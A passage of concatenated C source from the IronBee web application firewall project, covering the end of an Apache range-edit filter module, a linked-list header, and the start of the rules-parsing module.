* range_substitute_out. */ b = apr_bucket_pool_create(edit.subs, edit.len, f->r->pool, f->r->connection->bucket_alloc); APR_BRIGADE_INSERT_TAIL(ctx->bb, b); /* TODO: think about this. Good practice to send it on right now, * with the proviso that Ironbee flush policies might suggest otherwise. */ rv = ap_pass_brigade(f->next, ctx->bb); (void)apr_brigade_cleanup(ctx->bb); tmpb = ctx->bb; ctx->bb = ctx->newb; ctx->newb = tmpb; /* increment counters */ bytes -= edit.start + edit.bytes - offs; offs = edit.start + edit.bytes; /* All done with this edit. Chop it. */ apr_array_pop(ctx->edits); } /* we already passed edited data on. Setaside what's left & return */ /* FIXME - maybe use Ironbee flush rules to set max. amount to save here? */ for (b = APR_BRIGADE_FIRST(ctx->bb); b != APR_BRIGADE_SENTINEL(ctx->bb) && !seen_eos; b = APR_BUCKET_NEXT(b)) { if (!seen_eos) { apr_bucket_setaside(b, f->r->pool); seen_eos = APR_BUCKET_IS_EOS(b); } } if (seen_eos) { rv = ap_pass_brigade(f->next, ctx->bb); } ctx->count = offs; return rv; } /** * HTTPD filter function to apply edits to request data * * @param[in] f - the filter struct * @param[in] bb - the bucket brigade (data) * @param[in] mode - currently ignored * @param[in] block - blocking requested * @param[in] readbytes - data size requested * @return status propagated from next filter in chain * * FIXME: flesh out handling mode/block/readbytes */ static apr_status_t range_filter_in(ap_filter_t *f, apr_bucket_brigade *bb, ap_input_mode_t mode, apr_read_type_e block, apr_off_t readbytes) { apr_status_t rv = APR_SUCCESS; apr_off_t bytes = 0; apr_off_t bytes_ret = 0; apr_off_t offs = 0; apr_bucket *b; apr_bucket_brigade *tmpb; int seen_eos = 0; filter_ctx *ctx = f->ctx; if (!ctx) { f->ctx = ctx = apr_pcalloc(f->r->pool, sizeof(filter_ctx)); ctx->bb = apr_brigade_create(f->r->pool, f->r->connection->bucket_alloc); } /* top up data before operating */ rv = ap_get_brigade(f->next, ctx->bb, AP_MODE_READBYTES, block, readbytes); APR_BRIGADE_CONCAT(bb, ctx->bb); (void)apr_brigade_length(bb, 1, &bytes); if (!ctx->edits) { req_edits *redits = ap_get_module_config(f->r->request_config, &range_filter_module); if (redits) { ctx->edits = redits->edits_in; } } if (!ctx->edits || apr_is_empty_array(ctx->edits)) { /* Nothing to do but record how much data we passed */ ctx->count += bytes; return rv; } /* OK, go through edits, and apply any that are in range. */ /* Sort first so we can deal with offsets that move with each edit */ qsort(ctx->edits->elts, ctx->edits->nelts, ctx->edits->elt_size, qcompare); /* Now we can apply in-range edits in order */ while (!apr_is_empty_array(ctx->edits)) { range_edit *edits = (range_edit*) ctx->edits->elts; range_edit edit = edits[ctx->edits->nelts-1]; /* If edit is out of range, leave it for next time. * We can pass on everything before this but we have to save * what we're due to edit. */ if ((size_t)(edit.start + edit.bytes) > (size_t)(ctx->count + bytes)) { /* all done with the data for now */ bytes_ret = edit.start; break; } /* Edit is in-range. So apply it and remove from list */ /* split the brigade at the start of the edit * We can re-use the now-emptied bb for tmp data */ rv = apr_brigade_partition(bb, edit.start - ctx->count + offs, &b); ctx->newb = apr_brigade_split_ex(bb, b, ctx->newb); /* and remove what's to be cut (if any) .... */ if (edit.bytes > 0) { rv = apr_brigade_partition(ctx->newb, edit.bytes, &b); ctx->bb = apr_brigade_split_ex(ctx->newb, b, ctx->bb); (void)apr_brigade_cleanup(ctx->newb); } else { /* newb should be tmpb */ tmpb = ctx->bb; ctx->bb = ctx->newb; ctx->newb = tmpb; } /* Now we can insert the new data (if any) */ /* TODO: consider API. Pool bucket here matches pool alloc in * range_substitute_out. */ b = apr_bucket_pool_create(edit.subs, edit.len, f->r->pool, f->r->connection->bucket_alloc); APR_BRIGADE_INSERT_TAIL(bb, b); offs += edit.len - edit.bytes; APR_BRIGADE_CONCAT(bb, ctx->bb); /* All done with this edit. Chop it. */ apr_array_pop(ctx->edits); } /* If/when we first hit an out-of-range edit, return all before it * and use its start as bytes */ if (bytes_ret > 0) { /* sanity check. Legitimate if ironbee is buffering ahead of us */ if (bytes_ret > bytes) { ctx->count += bytes; } else { ctx->count += bytes_ret; rv = apr_brigade_partition(bb, bytes_ret + offs, &b); ctx->bb = apr_brigade_split_ex(bb, b, ctx->bb); } /* set aside data we're sitting on */ /* FIXME - use Ironbee flush rules to set max. amount to save here? */ for (b = APR_BRIGADE_FIRST(ctx->bb); b != APR_BRIGADE_SENTINEL(ctx->bb) && !seen_eos; b = APR_BUCKET_NEXT(b)) { apr_bucket_setaside(b, f->r->pool); seen_eos = APR_BUCKET_IS_EOS(b); } if (seen_eos) { /* nothing more to do. Return all remaining data to caller */ APR_BRIGADE_CONCAT(bb, ctx->bb); } } else { /* we're returning all the data */ ctx->count += bytes; } return rv; } /** * HTTPD callback function to insert filters * @param[in] r - the Request */ static void range_filter_insert(request_rec *r) { range_filter_conf *cfg; cfg = ap_get_module_config(r->per_dir_config, &range_filter_module); /* Default to ON: the "unset" value is -1 */ if (cfg->filter_input) { ap_add_input_filter("range-edit", NULL, r, r->connection); } if (cfg->filter_output) { ap_add_output_filter("range-edit", NULL, r, r->connection); } } /** * Exported API function for another module to request editing Request data * * @param[in] r - the Request * @param[in] start - start of edit * @param[in] bytes - bytes to delete * @param[in] subs - replacement data * @param[in] len - length of replacement data * @return - Success, or error code if not enabled */ static apr_status_t range_substitute_in(request_rec *r, apr_off_t start, apr_size_t bytes, const char *subs, apr_size_t len) { req_edits *edits; range_edit edit; range_filter_conf *conf; conf = ap_get_module_config(r->per_dir_config, &range_filter_module); if (!conf->filter_input) { return APR_EGENERAL; } edits = ap_get_module_config(r->request_config, &range_filter_module); if (!edits) { edits = apr_pcalloc(r->pool, sizeof(req_edits)); ap_set_module_config(r->request_config, &range_filter_module, edits); } if (!edits->edits_in) { edits->edits_in = apr_array_make(r->pool, 20, sizeof(range_edit)); } edit.start = start; edit.bytes = bytes; edit.subs = apr_pmemdup(r->pool, subs, len); edit.len = len; APR_ARRAY_PUSH(edits->edits_in, range_edit) = edit; return APR_SUCCESS; } /** * Exported API function for another module to request editing Response data * * @param[in] r - the Request * @param[in] start - start of edit * @param[in] bytes - bytes to delete * @param[in] subs - replacement data * @param[in] len - length of replacement data * @return - Success, or error code if not enabled */ static apr_status_t range_substitute_out(request_rec *r, apr_off_t start, apr_size_t bytes, const char *subs, apr_size_t len) { req_edits *edits; range_edit edit; range_filter_conf *conf; conf = ap_get_module_config(r->per_dir_config, &range_filter_module); if (!conf->filter_output) { return APR_EGENERAL; } edits = ap_get_module_config(r->request_config, &range_filter_module); if (!edits) { edits = apr_pcalloc(r->pool, sizeof(req_edits)); ap_set_module_config(r->request_config, &range_filter_module, edits); } if (!edits->edits_out) { edits->edits_out = apr_array_make(r->pool, 20, sizeof(range_edit)); } edit.start = start; edit.bytes = bytes; edit.subs = apr_pmemdup(r->pool, subs, len); edit.len = len; APR_ARRAY_PUSH(edits->edits_out, range_edit) = edit; return APR_SUCCESS; } /** * HTTPD module function to insert hooks, declare filters, and export API * @param[in] pool - APR pool */ static void range_filter_hooks(apr_pool_t *pool) { /* Our header processing uses the same hooks as mod_headers and * needs to order itself with reference to that module if loaded */ static const char * const mod_ironbee[] = { "mod_headers.c", "mod_ironbee.c", NULL }; /* Main input and output filters */ /* Set filter level between resource and content_set */ ap_register_input_filter("range-edit", range_filter_in, NULL, AP_FTYPE_RESOURCE); ap_register_output_filter("range-edit", range_filter_out, NULL, AP_FTYPE_CONTENT_SET-1); /* Use our own insert filter hook. This is best going last so anything * 'clever' happening elsewhere isn't troubled with ordering it. */ ap_hook_insert_filter(range_filter_insert, mod_ironbee, NULL, APR_HOOK_LAST); /* Export our API */ APR_REGISTER_OPTIONAL_FN(range_substitute_out); APR_REGISTER_OPTIONAL_FN(range_substitute_in); } /******************** CONFIG STUFF *******************************/ /** * Function to initialise HTTPD per-dir configuration * @param[in] p - The Pool * @param[in] dummy - unused * @return The created configuration struct */ static void *range_filter_create_cfg(apr_pool_t *p, char *dummy) { range_filter_conf *cfg = apr_palloc(p, sizeof(range_filter_conf)); cfg->filter_input = cfg->filter_output = -1; return cfg; } /** * Function to merge HTTPD per-dir configurations * @param[in] p - The Pool * @param[in] BASE - The base config * @param[in] ADD - The config to merge in * @return The new merged configuration struct */ static void *range_filter_merge_cfg(apr_pool_t *p, void *BASE, void *ADD) { range_filter_conf *base = BASE; range_filter_conf *add = ADD; range_filter_conf *cfg = apr_palloc(p, sizeof(range_filter_conf)); cfg->filter_input = (add->filter_input == -1) ? base->filter_input : add->filter_input; cfg->filter_output = (add->filter_output == -1) ? base->filter_output : add->filter_output; return cfg; } /** * Module Directives */ static const command_rec range_filter_cmds[] = { AP_INIT_FLAG("RangeFilterIn", ap_set_flag_slot, (void*)APR_OFFSETOF(range_filter_conf, filter_input), ACCESS_CONF, "Enable range editing of input data"), AP_INIT_FLAG("RangeFilterOut", ap_set_flag_slot, (void*)APR_OFFSETOF(range_filter_conf, filter_output), ACCESS_CONF, "Enable range editing of output data"), {NULL, {NULL}, NULL, 0, 0, NULL} }; /** * Declare the module. */ #if NEWVERSION AP_DECLARE_MODULE(range_filter) #else module AP_MODULE_DECLARE_DATA range_filter_module #endif = { STANDARD20_MODULE_STUFF, range_filter_create_cfg, range_filter_merge_cfg, NULL, NULL, range_filter_cmds, range_filter_hooks };
crustymonkey/ironbee
include/ironbee/list.h
<reponame>crustymonkey/ironbee<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_LIST_H_ #define _IB_LIST_H_ /** * @file * @brief IronBee --- List Utility Functions * * @author <NAME> <<EMAIL>> */ #include <ironbee/build.h> #include <ironbee/mm.h> #include <ironbee/types.h> #include <string.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeUtilList List * @ingroup IronBeeUtil * * List routines. * * This is currently implemented as a doubly linked list. * * @{ */ typedef struct ib_list_t ib_list_t; typedef struct ib_list_node_t ib_list_node_t; /** * Required fields for a list node structure. * * @todo Perhaps this should be a struct? * * @param ntype Node type literal */ #define IB_LIST_NODE_REQ_FIELDS(ntype) \ ntype *next; /**< Next list node */ \ ntype *prev /**< Previous list node */ /** * Required fields for a list structure. * * @todo Perhaps this should be a struct? * * @param ntype Node type literal */ #define IB_LIST_REQ_FIELDS(ntype) \ size_t nelts; /**< Number of elements in list */ \ ntype *head; /**< First node in list */ \ ntype *tail /**< Last node in list */ /** @cond internal */ /** * List node structure. */ struct ib_list_node_t { IB_LIST_NODE_REQ_FIELDS(ib_list_node_t); /* Required fields */ void *data; /**< Node data */ }; /** * List structure. */ struct ib_list_t { ib_mm_t mm; IB_LIST_REQ_FIELDS(ib_list_node_t); /* Required fields */ }; /** @endcond */ /** * Number of list elements * * @param list List * * @returns Number of list elements */ #define IB_LIST_ELEMENTS(list) ((list)->nelts) /** * First node of a list. * * @param list List * * @returns List node */ #define IB_LIST_FIRST(list) ((list)->head) /** * Last node of a list. * * @param list List * * @returns List node */ #define IB_LIST_LAST(list) ((list)->tail) /** * Next node in a list in relation to another node. * * @param node Node * * @returns List node */ #define IB_LIST_NODE_NEXT(node) ((node) == NULL ? NULL : (node)->next) /** * Previous node in a list in relation to another node. * * @param node Node * * @returns List node */ #define IB_LIST_NODE_PREV(node) ((node) == NULL ? NULL : (node)->prev) /** * List node data. * * @param node Node * * @returns List node data */ #define IB_LIST_NODE_DATA(node) ((node) == NULL ? NULL : (node)->data) /** * Insert a node after another node in a list. * * @param list List * @param at Node to insert after * @param node Node to insert * @param ntype Node type literal */ #define IB_LIST_NODE_INSERT_AFTER(list, at, node, ntype) \ do { \ ntype *__ib_list_node_ia_tmp = (at)->next; \ (at)->next = (node); \ (node)->prev = (at); \ (node)->next = __ib_list_node_ia_tmp; \ ++(list)->nelts; \ } while(0) /** * Insert a node before another node in a list. * * @param list List * @param at Node to insert before * @param node Node to insert * @param ntype Node type literal */ #define IB_LIST_NODE_INSERT_BEFORE(list, at, node, ntype) \ do { \ ntype *__ib_list_node_ib_tmp = (at)->prev; \ (at)->prev = (node); \ (node)->prev = __ib_list_node_ib_tmp; \ (node)->next = (at); \ ++(list)->nelts; \ } while(0) /** * Insert a node at the end of a list. * * @param list List * @param node Node to insert * @param ntype Node type literal */ #define IB_LIST_NODE_INSERT_LAST(list, node, ntype) \ do { \ IB_LIST_NODE_INSERT_AFTER((list), (list)->tail, (node), ntype); \ (list)->tail = (node); \ } while(0) /** * Insert a node at the beginning of a list. * * @param list List * @param node Node to insert * @param ntype Node type literal */ #define IB_LIST_NODE_INSERT_FIRST(list, node, ntype) \ do { \ IB_LIST_NODE_INSERT_BEFORE((list), (list)->head, (node), ntype); \ (list)->head = (node); \ } while(0) /** * Insert the first node of a list. * * @param list List * @param node Node to insert */ #define IB_LIST_NODE_INSERT_INITIAL(list, node) \ do { \ (list)->head = (list)->tail =(node); \ (node)->next = (node)->prev = NULL; \ (list)->nelts = 1; \ } while(0) /** * Remove a node from a list. * * @param list List * @param node Node to remove */ #define IB_LIST_NODE_REMOVE(list, node) \ do { \ if ((list)->nelts == 1) { \ (list)->head = NULL; \ (list)->tail = NULL; \ } \ else if ((node) == (list)->head) { \ (list)->head = (list)->head->next; \ (list)->head->prev = NULL; \ } \ else if ((node) == (list)->tail) { \ (node)->prev->next = (node)->next; \ (list)->tail = (node)->prev; \ } \ else { \ (node)->prev->next = (node)->next; \ (node)->next->prev = (node)->prev; \ } \ --(list)->nelts; \ } while(0) /** * Remove the last node from a list. * * @param list List */ #define IB_LIST_NODE_REMOVE_LAST(list) \ do { \ if ((list)->tail != NULL) { \ IB_LIST_NODE_REMOVE((list), (list)->tail); \ } \ } while(0) /** * Remove the first node from a list. * * @param list List */ #define IB_LIST_NODE_REMOVE_FIRST(list) \ do { \ if ((list)->head != NULL) { \ IB_LIST_NODE_REMOVE((list), (list)->head); \ } \ } while(0) /** * Loop through all elements in the list. * * @todo Make this generic (non-ib_list_t specific) * * @warning Do not use to delete an element in the list. Instead use * the @ref IB_LIST_LOOP_SAFE loop. * * @param list List * @param node Symbol holding node */ #define IB_LIST_LOOP(list, node) \ for ((node) = ib_list_first(list); \ (node) != NULL; \ (node) = ib_list_node_next(node)) /** * Loop through all elements in the const list. * * @todo Make this generic (non-ib_list_t specific) * * @warning Do not use to delete an element in the list. Instead use * the @ref IB_LIST_LOOP_SAFE loop. * * @param list List * @param node Symbol holding node */ #define IB_LIST_LOOP_CONST(list, node) \ for ((node) = ib_list_first_const(list); \ (node) != NULL; \ (node) = ib_list_node_next_const(node)) /** * Loop through all elements in the list, taking care to allow for deletions. * * @todo Make this generic (non-ib_list_t specific) * * This loop allows deleting elements. If this is not needed, then * use the @ref IB_LIST_LOOP loop. * * @param list List * @param node Symbol holding node * @param node_next Symbol holding next node */ #define IB_LIST_LOOP_SAFE(list, node, node_next) \ for ((node) = ib_list_first(list), \ (node_next) = ib_list_node_next(node); \ (node) != NULL; \ (node) = (node_next), \ (node_next) = ib_list_node_next(node)) /** * Loop through all elements in the list in reverse order. * * @todo Make this generic (non-ib_list_t specific) * * @warning Do not use to delete an element in the list. Instead use * the @ref IB_LIST_LOOP_REVERSE_SAFE loop. * * @param list List * @param node Symbol holding node */ #define IB_LIST_LOOP_REVERSE(list, node) \ for ((node) = ib_list_last(list); \ (node) != NULL; \ (node) = ib_list_node_prev(node)) /** * Loop through all elements in the list in reverse order. * * @todo Make this generic (non-ib_list_t specific) * * @warning Do not use to delete an element in the list. Instead use * the @ref IB_LIST_LOOP_REVERSE_SAFE loop. * * @param list List * @param node Symbol holding node */ #define IB_LIST_LOOP_REVERSE_CONST(list, node) \ for ((node) = ib_list_last_const(list); \ (node) != NULL; \ (node) = ib_list_node_prev(node)) /** * Loop through all elements in the list in reverse order, taking care * to allow for deletions. * * @todo Make this generic (non-ib_list_t specific) * * This loop allows deleting elements. If this is not needed, then * use the @ref IB_LIST_LOOP_REVERSE loop. * * @param list List * @param node Symbol holding node * @param node_next Symbol holding next node */ #define IB_LIST_LOOP_REVERSE_SAFE(list, node, node_next) \ for ((node) = ib_list_last(list), \ (node_next) = ib_list_node_prev(node); \ (node) != NULL; \ (node) = (node_next), \ (node_next) = ib_list_node_prev(node)) /** * Create a list. * * @param plist Address which new list is written * @param mm Memory manager to use * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_create(ib_list_t **plist, ib_mm_t mm); /** * Insert data at the end of a list. * * @param list List * @param data Data to store * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_push(ib_list_t *list, void *data); /** * Fetch and remove data from the end of a list. * * @param list List * @param pdata Address which data is stored (if non-NULL) * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_pop(ib_list_t *list, void *pdata); /** * Insert data at the first position of the list (queue behavior) * * This is currently just an alias for @ref ib_list_unshift(). * * @param list List * @param data Address which data is stored (if non-NULL) * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_enqueue(ib_list_t *list, void *data); #define ib_list_enqueue(list, data) \ ib_list_unshift((list), (data)) /** * Fetch and remove data at the end of the list (queue behavior) * * This is currently just an alias for @ref ib_list_pop(). * * @param list List * @param pdata Address which data is stored (if non-NULL) * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_dequeue(ib_list_t *list, void *pdata); #define ib_list_dequeue(list, data) \ ib_list_pop((list), (data)) /** * Insert data at the beginning of a list. * * @param list List * @param data Data to store * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_unshift(ib_list_t *list, void *data); /** * Fetch and remove data from the beginning of a list. * * @param list List * @param pdata Address which data is stored (if non-NULL) * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_shift(ib_list_t *list, void *pdata); /** * Clear a list. * * @note This does not destroy any element, but instead disassociates * the elements with the list. * * @param list List */ void DLL_PUBLIC ib_list_clear(ib_list_t *list); /** * Return number of elements stored in the list. * * @param list List * * @returns Number of elements stored in the list */ size_t DLL_PUBLIC ib_list_elements(const ib_list_t *list); /** * Return first node in the list or NULL if there are no elements. * * @param list List * * @returns First node in the list or NULL if there are no elements. */ ib_list_node_t DLL_PUBLIC *ib_list_first(ib_list_t *list); /** * Return last node in the list or NULL if there are no elements. * * @param list List * * @returns Last node in the list or NULL if there are no elements. */ ib_list_node_t DLL_PUBLIC *ib_list_last(ib_list_t *list); /** * Return next node in the list. * * @param node Node in a list * * @returns Next node in the list. */ ib_list_node_t DLL_PUBLIC *ib_list_node_next(ib_list_node_t *node); /** * Return previous node in the list. * * @param node Node in a list * * @returns Previous node in the list. */ ib_list_node_t DLL_PUBLIC *ib_list_node_prev(ib_list_node_t *node); /** * Return first node in the const list or NULL if there are no elements. * * @param list List * * @returns First node in the list or NULL if there are no elements. */ const ib_list_node_t DLL_PUBLIC *ib_list_first_const(const ib_list_t *list); /** * Return last node in the const list or NULL if there are no elements. * * @param list List * * @returns Last node in the list or NULL if there are no elements. */ const ib_list_node_t DLL_PUBLIC *ib_list_last_const(const ib_list_t *list); /** * Return next node in the const list. * * @param node Node in a list * * @returns Next node in the list. */ const ib_list_node_t DLL_PUBLIC *ib_list_node_next_const(const ib_list_node_t *node); /** * Return previous node in the const list. * * @param node Node in a list * * @returns Previous node in the list. */ const ib_list_node_t DLL_PUBLIC *ib_list_node_prev_const(const ib_list_node_t *node); /** * Remove a node from the list. * * @param list List * @param node Node in a list */ void DLL_PUBLIC ib_list_node_remove(ib_list_t *list, ib_list_node_t *node); /** * Return data from the given node. * * @param node Node in a list * * @returns Data stored in the node */ void DLL_PUBLIC *ib_list_node_data(ib_list_node_t *node); /** * Return const data from the given node. * * @param node Node in a list * * @returns Data stored in the node */ const void DLL_PUBLIC *ib_list_node_data_const(const ib_list_node_t *node); /** * Copy all items from @a src_list to @a dest_list. * * @note This is a shallow copy; if the data items themselves are pointers, * the pointer is copied, with the new list containing a list of aliases. * * @param[in] src_list List of items to copy * @param[in,out] dest_list List to copy items into * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_copy_nodes(const ib_list_t *src_list, ib_list_t *dest_list); /** * Create a new list pointed at by @a pdest and copy all items from @a src * into it. * * @note This is a shallow copy; if the data items themselves are pointers, * the pointer is copied, with the new list containing a list of aliases. * * @param[in] src List of items to copy * @param[in] mm Memory manager * @param[out] pdest Pointer to new list * * @returns Status code */ ib_status_t DLL_PUBLIC ib_list_copy(const ib_list_t *src, ib_mm_t mm, ib_list_t **pdest); /** @} IronBeeUtilList */ #ifdef __cplusplus } #endif #endif /* _IB_LIST_H_ */
crustymonkey/ironbee
modules/rules.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Rules module. */ #include "ironbee_config_auto.h" #include "engine_private.h" #include "rule_engine_private.h" #include <ironbee/action.h> #include <ironbee/cfgmap.h> #include <ironbee/config.h> #include <ironbee/context.h> #include <ironbee/core.h> #include <ironbee/engine.h> #include <ironbee/flags.h> #include <ironbee/list.h> #include <ironbee/lock.h> #include <ironbee/mm.h> #include <ironbee/module.h> #include <ironbee/operator.h> #include <ironbee/path.h> #include <ironbee/rule_engine.h> #include <ironbee/string.h> #include <ironbee/util.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <inttypes.h> #include <math.h> #include <string.h> #include <strings.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/types.h> /* Define the module name as well as a string version of it. */ #define MODULE_NAME rules #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Declare the public module symbol. */ IB_MODULE_DECLARE(); /* Configuration */ typedef struct { /* Where to trace rules to. */ const char *trace_path; /* List of rules being traced. Element: ib_rule_t* */ ib_list_t *trace_rules; } per_context_t; /** Initial value for per-context data. */ static per_context_t c_per_context_initial = { NULL, NULL }; /** * Parse rule's operator. * * Parses the rule's operator and operand strings (@a operator and @a * operand), and stores the results in the rule object @a rule. * * @param cp IronBee configuration parser * @param rule Rule object to update * @param operator_string Operator string * @param operand Operand string * @param is_stream Look for stream operator. * * @returns Status code */ static ib_status_t parse_operator(ib_cfgparser_t *cp, ib_rule_t *rule, const char *operator_string, const char *operand, bool is_stream) { assert(cp != NULL); assert(rule != NULL); assert(operator_string != NULL); ib_status_t rc = IB_OK; const char *opname = NULL; const char *cptr = operator_string; bool invert = false; ib_rule_operator_inst_t *opinst; const ib_operator_t *operator = NULL; ib_operator_inst_t *real_opinst = NULL; ib_mm_t main_mm = ib_engine_mm_main_get(cp->ib); /* Leading '!' (invert flag)? */ if (*cptr == '!') { invert = true; ++cptr; } /* Better be an '@' next... */ if ( (*cptr != '@') || (isalpha(*(cptr+1)) == 0) ) { ib_cfg_log_error(cp, "Invalid rule syntax \"%s\"", operator_string); return IB_EINVAL; } opname = cptr + 1; /* Acquire operator */ if (is_stream) { rc = ib_operator_stream_lookup(cp->ib, IB_S2SL(opname), &operator); } else { rc = ib_operator_lookup(cp->ib, IB_S2SL(opname), &operator); } if (rc == IB_ENOENT) { ib_cfg_log_error(cp, "Unknown operator: %s %s", opname, operand); return IB_EINVAL; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error acquiring operator %s %s: %s", opname, operand, ib_status_to_string(rc)); return rc; } assert(operator != NULL); /* Allocate instance data. */ opinst = ib_mm_calloc(main_mm, 1, sizeof(*opinst)); if (opinst == NULL) { return IB_EALLOC; } opinst->params = operand; opinst->invert = invert; rc = ib_field_create(&(opinst->fparam), main_mm, IB_S2SL("param"), IB_FTYPE_NULSTR, ib_ftype_nulstr_in(operand)); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating operand field %s %s: %s", opname, operand, ib_status_to_string(rc)); return rc; } /* Create the operator instance */ rc = ib_operator_inst_create( &real_opinst, main_mm, cp->cur_ctx, operator, ib_rule_required_op_flags(rule), operand ); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating operator instance " "operator=\"%s\" operand=\"%s\": %s", opname, operand == NULL ? "" : operand, ib_status_to_string(rc)); return rc; } opinst->opinst = real_opinst; /* Set the operator */ rule->opinst = opinst; return rc; } /** * Rewrite the target string if required * * Parses the rule's target field list string @a target_str, looking for * the '&' tokens at the start of it. * * @param[in] cp IronBee configuration parser * @param[in] target_str Target field name. * @param[out] rewritten Rewritten string. * @param[out] rewrites Number of rewrites found in @a target_str. * * @returns Status code */ #define MAX_TFN_TOKENS 10 static ib_status_t rewrite_target_tokens(ib_cfgparser_t *cp, const char *target_str, const char **rewritten, int *rewrites) { char const *ops[MAX_TFN_TOKENS]; const char *cur = target_str; char *new; int count = 0; int n; int target_len = strlen(target_str) + 1; /** * Loop 'til we reach max count */ while ( (*cur != '\0') && (count < MAX_TFN_TOKENS) ) { if (*cur == '&') { ops[count] = ".count()"; } else { break; } /* Update the required length */ target_len += strlen(ops[count]) - 1; ++count; ++cur; } /* No rewrites? Done */ *rewrites = count; if (count == 0) { *rewritten = target_str; return IB_OK; } /** * Allocate & build the new string */ new = ib_mm_alloc(cp->mm, target_len); if (new == NULL) { ib_cfg_log_error(cp, "Failed to duplicate target field string \"%s\".", target_str); return IB_EALLOC; } /* Add the functions in reverse order */ strcpy(new, target_str+count); for (n = count-1; n >= 0; --n) { strcat(new, ops[n] ); } /* Log our rewrite */ ib_cfg_log_debug3(cp, "Rewrote: \"%s\" -> \"%s\"", target_str, new); /* Done */ *rewritten = new; return IB_OK; } /** * Parse a rule's target string. * * Parses the rule's target field list string @a target_str, and stores the * results in the rule object @a rule. * * @param[in] cp IronBee configuration parser * @param[in,out] rule Rule to operate on * @param[in] target_str Target string to parse * * @returns * - IB_OK if there is one or more targets. * - IB_EINVAL if not targets are found, including if the string is empty. * - IB_EALLOC if a memory allocation fails. */ static ib_status_t parse_target(ib_cfgparser_t *cp, ib_rule_t *rule, const char *target_str) { assert(cp != NULL); assert(cp->ib != NULL); assert(rule != NULL); assert(target_str != NULL); ib_status_t rc; ib_engine_t *ib = cp->ib; const char *rewritten_target_str = NULL; const char *final_target_str; /* Holder for the final target name. */ ib_list_t *tfns_str = NULL; /* Transformations to perform. */ ib_rule_target_t *ib_rule_target; ib_list_t *tfns; int rewrites; ib_mm_t mm = ib_engine_mm_main_get(ib); /* First, rewrite cur into rewritten_target_str. */ rc = rewrite_target_tokens(cp, target_str, &rewritten_target_str, &rewrites); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to rewriting target \"%s\".", target_str); return rc; } rc = ib_list_create(&tfns_str, mm); if (rc != IB_OK) { ib_cfg_log_error(cp, "Cannot allocate transformation list."); return rc; } /* Parse the rewritten string into the final_target_str. */ rc = ib_cfg_parse_target_string( ib_engine_mm_main_get(cp->ib), rewritten_target_str, &final_target_str, tfns_str); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing target string \"%s\": %s", target_str, ib_status_to_string(rc)); return rc; } rc = ib_list_create(&tfns, mm); if (rc != IB_OK) { ib_cfg_log_error(cp, "Cannot allocate transformations list."); return rc; } /* Take parsed transformations and build transformation instances. */ rc = ib_rule_tfn_fields_to_inst(ib, mm, tfns_str, tfns); if (rc != IB_OK) { return rc; } /* Create the target object */ rc = ib_rule_create_target(cp->ib, final_target_str, tfns, &ib_rule_target); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating rule target \"%s\": %s", final_target_str, ib_status_to_string(rc)); return rc; } /* Add the target to the rule */ rc = ib_rule_add_target(cp->ib, rule, ib_rule_target); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to add rule target \"%s\"", target_str); return rc; } return IB_OK; } /** * Attempt to register a string as an action. * * Treats the rule's modifier string @a name as a action, and registers * the appropriate action with @a rule. * * @param[in] cp IronBee configuration parser * @param[in,out] rule Rule to operate on * @param[in] name Action name * @param[in] params Parameters string * * @returns Status code */ static ib_status_t register_action_modifier(ib_cfgparser_t *cp, ib_rule_t *rule, const char *name, const char *params) { ib_status_t rc = IB_OK; const ib_action_t *action; ib_action_inst_t *action_inst; ib_rule_action_t atype = IB_RULE_ACTION_TRUE; /* Select the action type */ switch (*name) { case '!': atype = IB_RULE_ACTION_FALSE; ++name; break; case '+': atype = IB_RULE_ACTION_AUX; ++name; break; default: atype = IB_RULE_ACTION_TRUE; } /* Create a new action instance */ rc = ib_action_lookup(cp->ib, IB_S2SL(name), &action); if (rc == IB_ENOENT) { ib_cfg_log_notice(cp, "Ignoring unknown modifier \"%s\"", name); return IB_OK; } rc = ib_action_inst_create( &action_inst, ib_engine_mm_main_get(cp->ib), cp->cur_ctx, action, params ); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating action instance \"%s\": %s", name, ib_status_to_string(rc)); return rc; } /* Check the parameters */ rc = ib_rule_check_params(cp->ib, rule, params); if (rc != IB_OK) { ib_log_error(cp->ib, "Error checking action \"%s\" parameter \"%s\": %s", ib_action_name(action), params == NULL ? "" : params, ib_status_to_string(rc)); return rc; } /* Add the action to the rule */ rc = 